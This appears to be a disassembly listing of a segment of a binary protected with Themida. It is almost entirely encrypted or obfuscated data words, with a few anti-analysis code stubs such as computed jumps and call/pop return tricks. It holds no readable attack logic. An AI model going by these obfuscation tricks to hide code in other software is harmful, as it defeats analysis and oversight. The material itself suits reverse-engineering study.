		dd 0E1852360h, 0E9061528h, 14h,	271EF01h, 0D749429h, 0B98AB433h
		dd 84FDE05Bh, 9914A692h, 880D61h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 69D12EC3h
		dd 8B3EDDB1h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 427D973h, 0AD7873C2h
		dd 5F5B5751h, 4CD8D8Bh,	6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B509DC3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 2F75BD33h, 0BD830615h
		dd 61518A9h, 6D840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 31C356h
		dd 9227070Dh, 0DED9D0Bh, 0B80615h, 89000000h, 151735B5h
		dd 9E8D8D06h, 8906154Fh, 150AB19Dh, 6AE1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 625EC351h, 5F26FD7Ah, 0DF816614h, 0DF813506h, 6C4BA87Bh
		dd 1115BD83h, 0F000615h, 47B84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 43440580h
		dd 0A2D8BF64h, 0BD83304Bh, 6151115h, 64840F01h,	6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 4E42C350h, 0BD8B6A26h, 6151605h, 1115BD83h
		dd 0F030615h, 3FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F5FE20Ch, 0F60FEBFh
		dd 68Ah, 0DD958900h, 66061526h,	6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E2212CC3h
		dd 0E1801662h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 89064D36h, 150A5585h
		dd 0D59D8B06h, 0A061521h, 0F3840FC9h, 8B000000h, 15249D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 74BEDD31h, 0BB67B3BFh, 4DA9524Ah, 19B58533h
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0E8ECEBC3h, 0FE95029h, 61000000h,	0A3BD6879h
		dd 61808C50h, 2C2638D7h, 48971A3h, 7E924h, 0F7800000h
		dd 0B9928945h, 0BF006A93h, 43E5DAB8h, 0D11E1768h, 38B0F80h
		dd 66000000h, 481DF8Bh,	4DE5E824h, 89AFB37Fh, 1521E1B5h
		dd 0AD95FF06h, 6A06150Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C1ABC356h,	274D91E5h
		dd 0BF998589h, 6A0618h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 353256C3h, 0E9FB17E0h, 201h, 2D99BD03h
		dd 858B0615h, 618BF91h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 4AC35747h, 4AB20722h,	859BEB81h, 0C77902h
		dd 18h,	55BD8950h, 5F061527h, 2E15BD29h, 0B58B0615h, 618BF95h
		dd 792FBB60h, 0B2B966ECh, 613E2CAFh, 0C45858Bh,	6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B70F3DC3h, 0D8BF66DAh, 6A06896Eh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 1265C350h
		dd 8D54D9AEh, 5AB86660h, 0A5958B07h, 6106152Fh,	249D858Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 6315DBC3h, 0F98589D3h, 66061501h,	4689DA8Bh
		dd 0BE666004h, 0E880E4D3h, 8B9661E1h, 525050FAh, 0BE85250h
		dd 73000000h, 0B5ACFF7Ch, 5231F78Ch, 0F5F72EAh,	830F31h
		dd 5A000000h, 0E8310F58h, 5, 6B6E0D71h,	5F616071h, 8996585Ah
		dd 1526658Dh, 91B5FF06h, 0E90618BFh, 13h, 841389A4h, 27751858h
		dd 70A1C890h, 98F42096h, 681F49C3h, 4F90E284h, 81D88B66h
		dd 0E17B2434h, 8D894F8Fh, 6151D0Dh, 0BF99858Dh,	6A0618h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5083B8C3h, 0C5B4F4ACh, 315241DAh, 1516B99Dh,	50905B06h
		dd 0F98B6652h, 8E8310Fh, 3000000h, 295B701Ch, 66F2E6B3h
		dd 5A5FD98Bh, 0FE85058h, 0F1000000h, 139675B1h,	5A11EAEBh
		dd 5F61B8C6h, 0BF57BFF9h, 3F2FCE56h, 80905B5Fh,	95FF7EC7h
		dd 6150DADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E0C35747h, 0D75094D5h,	7E96061h, 10000000h, 1811D81Ah
		dd 0B58B1D04h, 61527FDh, 6A6161h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D62456C3h, 0FD858954h
		dd 0C7061509h, 15111585h, 306h,	699D0300h, 83061518h, 18BF99BDh
		dd 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 39C35242h, 0DC2C3934h, 38083BDDh, 37E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0C3050CFh, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0EEC35545h, 81DCD02Ah, 0CF81C188h, 4787CACCh
		dd 91DBD8Bh, 0BD830615h, 6151115h, 19850F03h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0FEE0C357h, 0D9FB8E78h, 0EF81665Fh, 9D297AEAh
		dd 6150A6Dh, 0BF99BD83h, 0F000618h, 3DF84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 60F0194Fh, 850F3269h, 8, 41B58B60h, 61061503h, 0BF99B5FFh
		dd 0BF0F0618h, 0E195FFF8h, 6A061510h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3EA7C357h
		dd 0C2E340CFh, 0E99531E8h, 8B061517h, 18BF8DB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 7E21B031h, 6240C8F9h, 8166753Ch, 0B7BFD8E7h,	106C779h
		dd 8B000100h, 150DEDBDh, 0EABF5006h, 891E95A8h,	6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A579D4C3h, 531BB3F1h, 5FD9BF0Fh, 0BF99B5FFh, 9D330618h
		dd 6150BF1h, 6A195FFh, 0B58B0615h, 618BF8Dh, 0BE9h, 1F11A900h
		dd 0F18D271h, 0A957F6B4h, 59858Bh, 0F600615h, 68Dh, 3DB58B00h
		dd 60061517h, 20C58509h, 858B0615h, 6151D11h, 86896161h
		dd 0C4h, 8840Fh, 8C0F0000h, 2, 958B8FB3h, 6152721h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h, 0A156284Dh
		dd 0D55993B6h, 1858952h, 5B061515h, 6A04C283h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0A46FC351h, 7E76DB08h, 0D7EF3760h, 97CF80FCh, 80205089h
		dd 858D76EBh, 618D458h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 6DC35242h, 256A44E6h,	8689B8F2h, 0B8h
		dd 6AA8D380h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 36A2EAE2h, 0BEC6C8CFh, 85898E2Fh
		dd 6150965h, 0BF99B5FFh, 81660618h, 0FF2C7ECFh,	151D4D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 77BD5489h, 50F8448Bh, 0EE9h, 0FEDB1000h
		dd 0CF0EC2C1h, 0F1153110h, 895D933Ah, 9D892434h, 61516C5h
		dd 0FE9h, 0B37AA000h, 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh
		dd 0BF99B5FFh, 85890618h, 6152AEDh, 72995FFh, 0CE80615h
		dd 9B000000h, 0D5F50F3Fh, 0FEFF3E57h, 0E90CEB1Dh, 13h
		dd 0F0F627EBh, 1028E7C7h, 49278430h, 0CDABE4Bh,	5F5E8640h
		dd 6890Fh, 9D8B0000h, 61523DDh,	65BD83h, 0F000615h, 3684h
		dd 61F96000h, 98BB6650h, 243489F6h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D8C35747h,	2FCEBCACh, 2B1141Eh
		dd 0A19D8BE9h, 0FF061504h, 18BF99B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0BD9F56AEh, 0C2D31900h, 0FFF934F8h, 15043995h, 99B5FF06h
		dd 330618BFh, 1511599Dh, 0CD95FF06h, 6A06150Dh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E24C351h, 60A427B9h, 26259D89h, 0B5030615h,	6151D25h
		dd 5DBD8361h, 2061528h,	63840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0FA6AD3C3h
		dd 65CD4CE4h, 0F1DE1E4h, 858BDAB7h, 6152849h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3EC35545h, 82CC99D1h
		dd 66BE3F04h, 0E58D3161h, 0C606150Ch, 0BF510000h, 6DDC103h
		dd 0F585C75Bh, 61523h, 0E9000000h, 0Ch,	0FDCA9BE4h, 4E731876h
		dd 4268E8E5h, 0FFF367E9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C9D66382h
		dd 0DE829E5h, 9000000h,	90B6CCEDh, 0F29EC761h, 27A3FA43h
		dd 28699D8Bh, 815B0615h, 0B9A2ECCFh, 8BC18B76h,	665651D8h
		dd 5B5BFE8Bh
; ---------------------------------------------------------------------------


loc_5C3A58:				; CODE XREF: Themida_:005C2C86j
		jmp	loc_5C3A78
; ---------------------------------------------------------------------------
		db 0D5h, 1Bh, 0C8h
		dd 5Ch,	5 dup(0)
; ---------------------------------------------------------------------------


loc_5C3A78:				; CODE XREF: Themida_:loc_5C3A58j
		jmp	loc_5C3FA7
; ---------------------------------------------------------------------------
		db 72h,	14h, 0A4h
		dd 6FDF62D1h, 0AC1C9986h, 66D65AC9h, 0B222A08Fh, 0CCC7C4E3h
		dd 817FE6Eh, 0D15E37A7h, 0BD720373h, 9C27CE3Eh,	52CE13B2h
		dd 0ECAD169Fh, 57C72450h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h
		dd 82B1BCAEh, 8CA59101h, 6A77BF2Fh, 0FA1FA607h,	811086F2h
		dd 7979FB0h, 199A2DA0h,	5C82CCA9h, 86F2A0E9h, 907A4B10h
		dd 0ADB121A3h, 581EF5A8h, 412955BCh, 0F7FFD32h,	25951A07h
		dd 3CA312F1h, 0A5B9298Bh, 83C50CB7h, 9FA81086h,	0F0E39844h
		dd 2AC0EF24h, 0CB57D44Bh, 0CEBFF767h, 0C30C55F0h, 0DEEF1086h
		dd 1E3EC5F1h, 521086C3h, 9F9482F2h, 906DA919h, 86B020A3h
		dd 0E3CAC3h, 18319C1Dh,	97A84B95h, 701Bh, 0C724EF00h, 0CA2A8757h
		dd 0FF86B05Ah, 1086F2D8h, 0A91C421Ch, 1086F260h, 577A490Bh
		dd 161086F2h, 4A0D2A05h, 1F95D998h, 903F7A10h, 0A84234B9h
		dd 12BC97h, 0ECF20000h,	86D63059h, 0E8B95210h, 3671BF60h
		dd 69D1B98Ah, 6155C524h, 0BD81F150h, 0F2FD249Fh, 0AF801086h
		dd 0E06051BBh, 43AA4670h, 56C62B9Ch, 54C42B88h,	0EE7D6D62h
		dd 0C352C241h, 56C62475h, 7EEE5360h, 74BD8138h,	2C8C87F7h
		dd 0E5857ABCh, 0C2EF03AAh, 0FA37D343h, 0F5101078h, 0A1397ABDh
		dd 0BB38E78Eh, 0D7564B4Bh, 5ED92F67h, 607FDA6Fh, 73E597A8h
		dd 0C1000000h, 6056C624h, 78BE597Eh, 11AF8A2Dh,	0CD3DB879h
		dd 0DFCE55C9h, 9A298AE8h, 10860477h, 340A25F6h,	4769B2Ah
		dd 24F51086h, 7AF82746h, 91170C0Ah, 1C93F521h, 124598B1h
		dd 62AB97A9h, 7F000000h, 6056C624h, 0BCE5607Eh,	3F1086F2h
		dd 2D8F7C6Eh, 32FC79BDh, 0F270992Ch, 2AFB1086h,	8C665940h
		dd 6254C427h, 0F97CDA75h, 6F409E65h, 0BC2C8E7Bh, 0C52453D9h
		dd 0CB288955h, 0D2715B5Bh, 1086F28Fh, 98725D6Eh, 0F2F7179Eh
		dd 27F31086h, 0B2DBA2Eh, 503ADDABh, 66D37669h, 0EE97A8FAh
		dd 1, 3DC924CAh, 5D614EBEh, 0F29DC47Fh,	5E601086h, 86F2A2E7h
		dd 57784910h, 0B6879B3h, 0F1989B9Bh, 3CAC09BEh,	43B31122h
		dd 1ADECCA7h, 0D571D4EAh, 68169BFCh, 0F1525F57h, 0F974BD81h
		dd 9D92E189h, 0D68AE1Eh, 1693F8C6h, 0EC2A9A18h,	160070F7h
		dd 662A9A1Dh, 0B413D0FFh, 1B18DA05h, 0D0412999h, 0E8720373h
		dd 0BDF969CBh, 8AE92AC0h, 0A4071C1Ah, 0A8092A34h, 6901FE38h
		dd 0C131B6ABh, 0F060DCD5h, 0E5D841C6h, 3BA20BFEh, 0D6BF2F8Ch
		dd 0BD245ECBh, 159E69Dh, 0ABC20000h, 0D903DB0Bh, 5B3F4AFCh
		dd 0BCAE2C37h, 9B2F91E1h, 1B1B2C16h, 6035A506h,	0F0A2D9FEh
		dd 0BA842B49h, 70E063D0h, 5ECE2D46h, 76E64B58h,	62D23340h
		dd 8A35BC34h, 0D609B059h, 532292F1h, 0BD3ADB5Eh, 82619Dh
		dd 0AB350000h, 0DE00DE0Eh, 86F22267h, 12F8C910h, 0B4C124Ch
		dd 589DBE2h, 0DC05A083h, 9F1086E2h, 0B8C1DC8Eh,	0E19086E2h
		dd 820C23F4h, 370724AEh, 86BA458Ch, 73172890h, 0C1447243h
		dd 9086BA98h, 0AFE757D6h, 0E6D040C2h, 0E7FCE34Ah, 876B52B9h
		dd 8757C72Ah, 86BA95BCh, 0A3475890h, 421C4CEDh,	86BA7E83h
		dd 14969B10h, 0C1D2C6A4h, 91342A34h, 1086BA48h,	1C886233h
		dd 97h,	31A12112h, 0BA620805h, 6EDE624Fh, 3262167Ch, 619992Ch
		dd 1B24169Ch, 73F69193h, 6BE83403h, 372C6A45h, 82B144B4h
		dd 1EA59101h, 1693A0FCh, 1DAA1584h, 5F472E9Eh, 0F44F6F9Fh
		dd 10B5C6FBh, 9F6DA97Ah, 78BE2E92h, 0C526E387h,	0F0538955h
		dd 1CA806A9h, 6DA74354h, 9EB01F86h, 0CA94AADAh,	6E83194h
		dd 91931CA8h, 0A806EF32h, 92BD8E1Ch, 66D2CDF8h,	64911A8Eh
		dd 0A2BC9303h, 7508D6B5h, 9B2A0380h, 2CED976h, 5F0B24F5h
		dd 5C0D4A14h, 2953EF4Dh, 0AB9C806Ah, 4003DB0Bh,	16A0924Fh
		dd 13F93D0Eh, 3E2C9C1Eh, 0F3066ECDh, 773BB2B6h,	0ACA9B59Ah
		dd 0AE6539C0h, 0C6A54523h, 546ADA59h, 296DDD5Fh, 0FD78B654h
		dd 6D415A8Ch, 428538BFh, 6FC451C1h, 899A9C0Ch, 847FB727h
		dd 9E1DAA15h, 5BD8472Eh, 0D0E1ABEBh, 1787E975h,	69012E1Fh
		dd 839h, 0C1426F00h, 2F81B951h,	5ACA244Bh, 74E4475Ch, 63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 3468783Ch, 89000008h, 0E2892414h,	4C281h
		dd 0EA830000h, 24148704h, 53A6685Ch, 3C890000h,	68C66824h
		dd 14890000h, 7CB85024h, 400C031Ch, 0F593548h, 0E8C1657Eh
		dd 233B0508h, 815005B0h, 7A792434h, 815F2A9Ah, 9A7A79F7h
		dd 0F668582Ah, 8900002Fh, 4832424h, 575A0424h, 0DE240481h
		dd 8F4C6655h, 0BD550842h, 4C6655DEh, 5D086A29h,	5624148Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h,	0C4835F24h
		dd 0D8E8E904h, 82F9FFFBh, 93F0E22Fh, 3EA7BCD3h
		db 0CFh, 40h, 0E3h
; ---------------------------------------------------------------------------


loc_5C3FA7:				; CODE XREF: Themida_:loc_5C3A78j
		mov	eax, 619A4DBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 32D07A66h, 3CCE9932h, 253EAA25h, 7CB142CAh, 2D2290C7h
		dd 7D64CFE1h, 1E59221Eh, 66118556h, 45EAF48Fh, 15FA55D3h
		dd 3A27AA78h, 6417AC0Dh, 4AA1AFEFh, 61FC0BADh, 24D56A4Ah
		dd 4426D601h, 75FF40DCh, 6DA14D00h, 18D6F7CEh, 11F6C82Bh
		dd 5FAEB268h, 1F5ADEAFh, 7A579F79h, 130FBABEh, 56EF4BF8h
		dd 41802100h, 279D858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8B66D9C3h, 18589DEh
		dd 90061501h, 88FEBB66h, 0EE950h, 5E5C0000h, 6B408742h
		dd 8BAB01F3h, 0A4840F68h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0DF04A260h
		dd 1EB576F0h, 8D2915C2h, 61506F1h, 33B18D09h, 6A0615h
		dd 10619D8Bh, 6A0615h, 0C7DF8166h, 75858D47h, 0F90619A7h
		dd 8905C083h, 1510FD85h, 0BFB75006h, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 6BFFC351h, 5DEBCC90h, 26B18529h, 0B5890615h,	6152DE9h
		dd 8B66006Ah, 0F006ADAh, 95FFD9BFh, 6152679h, 0B8F0Fh
		dd 6E90000h, 41000000h,	322908D2h, 158D8DBEh, 6A06189Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6047C353h, 1BDB589h, 8D8B0615h, 61517C9h
		dd 66D1FF61h, 6742CF81h, 2DB5BD83h, 0F010615h, 5F85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 26A401Ch, 346DBD8Bh,	0F88B0615h, 50FC8A90h, 6860F90h
		dd 29000000h, 151675BDh, 4D95FF06h, 6A06151Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0F383C351h, 5F569C19h, 0D01E9h, 0E800h, 815D0000h, 19A77FEDh
		dd 198D0F06h, 0E8000000h, 0Dh, 0FFB48686h, 85A9B54h, 79526621h
		dd 298D893Bh, 5B061517h, 6840Fh, 95290000h, 6152D61h, 88F9858Dh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9A04BFC3h, 1DDD8D89h, 11E90615h, 0BE000000h
		dd 37DCBEF5h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 89D98B50h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0CA724CC3h, 0BC69122Eh, 219D8B15h, 64061503h
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0B2B0CCC3h, 0E3207BCDh, 0ED8D89E2h
		dd 8B061518h, 15269DBDh, 25896406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C4297
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4297	proc near		; CODE XREF: Themida_:005C428Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5C4297	endp

; ---------------------------------------------------------------------------
		db 1Fh
		dd 8AD88BC1h, 3585FFFEh, 6A061515h, 0BE9FFh, 7FB40000h
		dd 2F0C3787h, 687C2E4Ch, 0EDB5FFC6h, 6A061533h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 465EC353h, 0FF91EEB5h, 1508BD95h, 117E906h, 0B00000h
		dd 2C65BD8Bh, 70E60615h, 8D0Fh,	0BF0F0000h, 0E971E4DEh
		dd 14h,	806B0F15h, 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h
		dd 830F613Ch, 0E1h, 0CF781F8h, 0F0E79B3h, 840FC8B6h, 3
		dd 0BA64DF80h, 6, 1DC99509h, 85290615h,	6150109h, 0B589C18Bh
		dd 6151DFDh, 3104E8C1h,	15280DBDh, 0E2F76606h, 13E9h, 68A15000h
		dd 7BCE50B5h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 8531C82Bh
		dd 615037Dh, 6E9D18Bh, 6D000000h, 1FE24CC3h, 0E918h, 858B0000h
		dd 61519C1h, 83DA8B66h,	0B58907C0h, 61512ADh, 911BD8Bh
		dd 0C0830615h, 0C58D0900h, 3B06152Fh, 10830FD0h, 66000000h
		dd 3A05F381h, 44E9h, 0FDBD3300h, 8B061516h, 1511698Dh
		dd 159D8906h, 83061521h, 840F01E1h, 29h, 35207ABFh, 69A5836Bh
		dd 0FE061511h, 6840Fh, 9D890000h, 61524B1h, 19C19589h
		dd 0BD230615h, 61518FDh, 0E9h, 0C7B58D00h, 0E9061920h
		dd 7, 0F11B9F04h, 6AF63540h, 0FFDA8A00h, 152E2195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5DD68F33h, 0B916FAECh, 7FCh,	6E9h, 11187400h, 83F3CED8h
		dd 9D8BFCE1h, 6152DB9h,	898589FCh, 2B06150Dh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 90CAF4DAh, 0BB7804D5h, 14E29E2Ah, 61EBBB66h,	0CE9D22Bh
		dd 0F4000000h, 785F1A21h, 0CBABC179h, 0AD299CD1h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 2E45C353h, 0F8062CDBh
		dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 8BCF8F02h, 52AC06FCh, 95092557h
		dd 6150771h, 2961BD8Bh,	958B0615h, 6152721h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7BC35646h, 0C18D89AEh
		dd 8B06150Fh, 1504CD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 2E388FB5h, 0A851E150h
		dd 2DA19D89h, 8B500615h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6AF88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 22D51EC3h, 3959D8Bh, 9D8B0615h
		dd 6151345h, 18A9BD83h,	0F000615h, 9684h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0CD22884Ch, 834B9CEBh, 0BB663735h, 0B8711Fh,	8D000000h
		dd 154F9E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0FE901C6h, 88000000h, 0F1FF3770h
		dd 1573757Ch, 8226366Bh, 0E1FFE3E6h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 2DC35747h, 352D7A32h, 27AC71B1h
		dd 4DBD8BE1h, 66061502h, 835B3DBFh, 151115BDh, 840F0006h
		dd 379h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0AC35242h, 83FA9F1Dh, 151115BDh, 840F0106h, 368h
		dd 1FB1BB66h, 1115BD83h, 0F030615h, 32186h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 5B3328Ah, 8E860h, 1E7B0000h,	673CD488h, 0BF60DD96h
		dd 5F2B0397h, 0F4DF8166h, 665F611Ch, 0BB3D98Ch,	6604E180h
		dd 0FCEDD381h, 840FC90Ah, 116h,	87EBBB66h, 249D858Bh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 2F104DC3h, 0CD18589h, 85330615h, 61519B5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C2C35242h, 7139A374h
		dd 66739AA4h, 5CB7F781h, 0D7BB6690h, 6A905029h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A652C352h, 0D355F054h, 3BA8A69Eh, 11E9h, 10C7D300h
		dd 0D2A96979h, 3034CAE0h, 5B3A6938h, 6A12EBh, 921BD23h
		dd 58680615h, 50ADC7ABh, 4876BF66h, 2404815Bh, 525758A7h
		dd 24019529h, 95FF0615h, 6150DADh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0B6C35242h,	0E5BD8BBDh, 8906150Ch
		dd 18BF9985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 7D8D8997h, 0E9061505h, 151h, 858BFB8Bh
		dd 618BF91h, 810CD381h,	0C740E1h, 18h, 2A2D8529h, 8D890615h
		dd 6151A05h, 0BF95B58Bh, 0BF0F0618h, 45858BF8h,	0B06150Ch
		dd 1504B9BDh, 89FE8B06h, 0CF816606h, 858B7CFDh,	615249Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h
		dd 0D60DE9D3h, 0F79FE43h, 385h,	49F38000h, 89FBB70Fh, 66500446h
		dd 896701BBh, 0BF0F2434h, 0DB8166D9h, 0B5FFCFCFh, 618BF91h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 86C35040h
		dd 2E68EE10h, 0F1B393Dh, 28Fh, 81F88A00h, 3ED12434h, 6A1B26h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4A32DDC3h, 5C433CD0h, 8D67B3D8h, 18BF9985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4D5F5564h, 18ADE515h, 10E94EB0h, 58000000h, 42971A69h
		dd 378950C6h, 632C14Eh,	9092438Ah, 9050D88Bh, 0DAD95FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0E484CFC3h, 80E78166h, 0C38161BDh, 7E942B9h
		dd 2EB98589h, 85C70615h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 10C35545h, 7D4E7B03h, 8B332880h
		dd 151005BDh, 99BD8306h, 618BFh, 20840Fh, 0E9530000h, 8
		dd 8EF9DC28h, 0BB7CCFAAh, 0B589515Fh, 6152DE9h,	1FE95Fh
		dd 0BF660000h, 3050F260h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 6AF5C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 4DE913C3h, 0FEBF3C6Fh
		dd 837C9B1Ch, 151115BDh, 850F0306h, 444h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0F6C35343h, 0BD21A1FBh
		dd 10FD8D89h, 0BD830615h, 618BF99h, 11840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0F545C351h, 0B97F8693h, 2B159D8Bh, 0B5FF0615h
		dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 8AC35747h, 0B1F39B5Bh, 0BD2B5DA7h, 61525C5h
		dd 26359531h, 95FF0615h, 61510E1h, 9573BB66h, 0BF8DB58Bh
